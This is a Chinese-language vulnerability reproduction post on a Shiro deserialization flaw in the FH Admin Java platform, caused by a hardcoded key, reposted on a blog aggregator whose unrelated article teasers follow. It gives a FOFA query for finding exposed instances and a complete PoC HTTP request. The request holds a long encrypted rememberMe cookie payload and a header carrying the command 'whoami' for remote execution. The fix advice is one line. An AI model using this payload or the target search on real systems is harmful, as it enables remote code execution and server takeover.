FH Admin Shiro反序列化漏洞复现

0x01 产品简介

  FH Admin 是一款 java 快速开发平台。

0x02 漏洞概述

 FH Admin CMS 存在 shiro 反序列化漏洞,该漏洞源于软件存在硬编码的 shiro-key,攻击者可利用该 key 生成恶意的序列化数据,在服务器上执行任意代码,执行系统命令、或打入内存马等,获取服务器权限。

0x03 复现环境

FOFA:app="FH-Admin"

0x04 漏洞复现 

PoC

GET /appSysUser/registerSysUser.do HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
X-Token-Data: whoami
Cookie: rememberMe=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
Accept-Encoding: gzip
Connection: close

0x05 修复建议 

⼚商已发布了漏洞修复程序,请及时关注更新:http://www.fhadmin.org/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/190412.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python自动化第二篇——合并ppt

简述 python合并ppt的方法有很多,但网上常说的python-pptx的方法,我用不了,这里我用了一个python-office的库。但又两个缺点,第一个生成的文档在你的用户名下的文档里,第二个是名字随机。 import office import os im…

vue3-vite-ts:编写Rollup插件并使用 / 优化构建过程

一、vue3-vite-ts项目,编写Rollup插件并使用的意义 在使用Vue3 Vite TypeScript这种技术栈时,可以使用Rollup插件来优化构建过程,例如使用rollup-plugin-typescript2插件来编译TypeScript代码,使用rollup-plugin-vue插件来处理…

【开源】基于Vue+SpringBoot的康复中心管理系统

项目编号: S 056 ,文末获取源码。 \color{red}{项目编号:S056,文末获取源码。} 项目编号:S056,文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 普通用户模块2.2 护工模块2.3 管理员…

版本控制系统Git学习笔记-Git服务器

文章目录 概述一、协议1.1 本地协议1.2 HTTP协议1.3 SSH协议1.4 Git协议 二、在服务器上搭建 Git 四智武童 一月一,捡花衣。二月二,练大字。三月三,穿新衣。四月四,去考试。考一个状元郎,坐著马车平天下。 概述 Git访…

OpenStack-train版安装之安装Keystone(认证服务)、Glance(镜像服务)、Placement

安装Keystone(认证服务)、Glance(镜像服务)、Placement 安装Keystone(认证服务)安装Glance(镜像服务)安装Placement 安装Keystone(认证服务) 数据库创建、创…

WebSocket 实战:构建高效的实时应用

🤍 前端开发工程师(主业)、技术博主(副业)、已过CET6 🍨 阿珊和她的猫_CSDN个人主页 🕠 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 🍚 蓝桥云课签约作者、已在蓝桥云…

SpringMVC利用@ControllerAdvice和ResponseBodyAdvice接口统一处理返回值

在我们进行Java的Web应用开发时,如何写更少的代码,做更多的事情。如何让开发更容易上手,更专注于业务层面,不需要太关心底层的实现。这里就分享一些我平时在搭建基础框架时候的一些心得体验。 统一处理返回值 在web应用中&#x…

集成开发环境 PyCharm 的安装【侯小啾python领航班系列(二)】

集成开发环境PyCharm的安装【侯小啾python领航计划系列(二)】 大家好,我是博主侯小啾, 🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹…

《YOLOv5原创自研》专栏介绍 CSDN独家改进创新实战专栏目录

YOLOv5原创自研 https://blog.csdn.net/m0_63774211/category_12511931.html 💡💡💡全网独家首发创新(原创),适合paper !!! 💡💡💡…

Vue3中的组合式API的详细教程和介绍

文章目录 前言介绍组合式 API 基础setup 组件选项 带 ref 的响应式变量生命周期钩子注册内部 setupwatch 响应式更改独立的 computed 属性后言 前言 hello world欢迎来到前端的新世界 😜当前文章系列专栏:vue.js 🐱‍👓博主在前端…

PID控制

在PID控制中,输出通常是一个控制量,而不是直接的PWM占空比。输出的具体含义可以根据具体的系统和应用而变化。在这段代码中,PID控制器的输出是 output_calc。 而 CCR_duty 是控制施肥系统的PWM占空比,这是通过PID控制的输出和曲线…

西南科技大学(数据结构A)期末自测练习五

一、选择题(每空 1 分,共 5 分) 1、下面关于图的叙述中,正确的是( )。 (1).回路是简单路径 (2).存稀疏矩阵,用邻接矩阵比邻接表更省空间 (3).若有像图中存在…

实验 elk+filebeat+kafka

kafka 3.4.1 elkfilebeatkafka 实现日志收集 httpd1 mysql1 topic 2.7 3.0 关闭防火墙 systemctl stop firewalld systemctl disable firewalld setenforce 0 安装 JDK yum install -y java-1.8.0-openjdk java-1.8.0-openjdk-devel java -version 安装 Zookeeper cd /…

FL Studio2024重磅更新 带你了解FL21.2最新版本功能

FL Studio2024是功能强大的音乐制作解决方案,使用旨在为用户提供一个友好完整的音乐创建环境,让您能够轻松创建、管理、编辑、混合具有专业品质的音乐,一切的一切都集中在一个软件中,只要您想,只要您需要,它…

设计模式---第四篇

系列文章目录 文章目录 系列文章目录前言一、说说策略模式在我们生活的场景?二、知道责任链模式吗?三、了解过适配器模式么?前言 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这篇文章男女通用,看懂了就去分享给…

Qt实现右键菜单

一、实现方法 QWidget提供了虚函数: virtual void contextMenuEvent(QContextMenuEvent*event);覆写该函数,即可。 二、Example 创建一个基本的mainwindow项目, 头文件: class MainWindow : public QMainWindow {Q_OBJECTpublic:MainWin…

for循环定义域问题

记录一个偶然发现的问题&#xff0c;代码如下 int main(int argc, char *argv[], char *envp[]){for(int i 1; i < 10; i);printf("%d",i); return 0; } 可以看到for循环后加了一个分号&#xff0c;按理说应该报变量i未定义的错误&#xff0c;但此时在编译器中…

山西电力市场日前价格预测【2023-12-02】

日前价格预测 预测说明&#xff1a; 如上图所示&#xff0c;预测明日&#xff08;2023-12-02&#xff09;山西电力市场全天平均日前电价为373.22元/MWh。其中&#xff0c;最高日前电价为765.50元/MWh&#xff0c;预计出现在17:45。最低日前电价为187.48元/MWh&#xff0c;预计…

(11_29)畅捷通的 Serverless 探索实践之路

作者&#xff1a;计缘 畅捷通介绍 畅捷通是中国领先的小微企业财税及业务云服务提供商&#xff0c;成立于2010年。畅捷通在2021年中国小微企业云财税市场份额排名第一&#xff0c;在产品前瞻性及行业全覆盖方面领跑市场&#xff0c;位居中国小微企业云财税厂商矩阵领军象限前…

ios分发平台怎么提交工单管理

●工单管理 ●控制台-个人中心-工单管理 ●创建工单-提交工单 ●创建工单-提交完成 ●提交成功 ●工单回复使用 ●回复流程完成